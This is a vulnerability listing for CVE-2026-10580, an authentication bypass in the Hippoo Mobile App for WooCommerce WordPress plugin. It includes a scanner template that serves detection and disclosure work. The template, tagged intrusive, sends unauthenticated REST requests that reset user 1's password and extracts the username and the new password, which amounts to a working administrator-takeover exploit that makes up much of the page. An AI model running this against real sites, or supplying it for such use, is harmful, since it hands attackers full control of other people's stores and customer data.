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Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover

CVE-2026-10580
Verified

Description

Hippoo Mobile App for WooCommerce WordPress plugin <= 1.9.4 contains an authentication bypass caused by logic conflation in user permission checks, letting unauthenticated attackers take over administrator accounts via REST API password reset.

Severity

Critical

CVSS Score

9.8

Exploit Probability

3%

Affected Product

hippoo-mobile-app-for-woocommerce

Published Date

June 10, 2026

Template Author

pussycat0x

CVE-2026-10580.yaml
id: CVE-2026-10580

info:
  name: Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover
  author: pussycat0x
  severity: critical
  description: |
    Hippoo Mobile App for WooCommerce WordPress plugin <= 1.9.4 contains an authentication bypass caused by logic conflation in user permission checks, letting unauthenticated attackers take over administrator accounts via REST API password reset.
  impact: |
    Unauthenticated attackers can reset any WordPress user's password, including administrators, gaining full administrative control of the site.
  remediation: |
    Update to a version later than 1.9.4 or the latest available version.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hippoo/hippoo-mobile-app-for-woocommerce-194-unauthenticated-authentication-bypass-to-administrator-account-takeover-via-rest-api
    - https://plugins.trac.wordpress.org/changeset/3557733
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-10580
    epss-score: 0.02841
    epss-percentile: 0.85118
    cwe-id: CWE-285
  metadata:
    max-request: 2
    vendor: hippoo
    product: hippoo-mobile-app-for-woocommerce
    framework: wordpress
    verified: true
    shodan-query: http.component:"wordpress"
    fofa-query: body="hippoo"
  tags: cve,cve2026,wordpress,wp-plugin,hippoo,woocommerce,intrusive

variables:
  new_password: "{{rand_base(16)}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/hippoo/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Hippoo')"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        regex:
          - 'Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"password":"{{new_password}}"}

      - |
        POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"password":"{{new_password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 || status_code_2 == 200'
          - 'contains_any(body, "is_super_admin","capabilities")'
          - 'contains(body, "woocommerce_meta")'
        condition: and

    extractors:
      - type: regex
        name: username
        part: body
        group: 1
        regex:
          - '"username":"([^"]+)"'

      - type: dsl
        name: new_password
        dsl:
          - new_password
# digest: 4a0a00473045022100ad184a243980dc5ff8fff931535c636b99ad686351f8061ffe86881c43fe5f0b02200e95aa578cb93186f3f0ef41716a184fe9d47efc79d29912543684452d33e9d5:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-10580
CWE ID:
cwe-285

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hippoo/hippoo-mobile-app-for-woocommerce-194-unauthenticated-authentication-bypass-to-administrator-account-takeover-via-rest-apihttps://plugins.trac.wordpress.org/changeset/3557733

Remediation Steps

Update to a version later than 1.9.4 or the latest available version.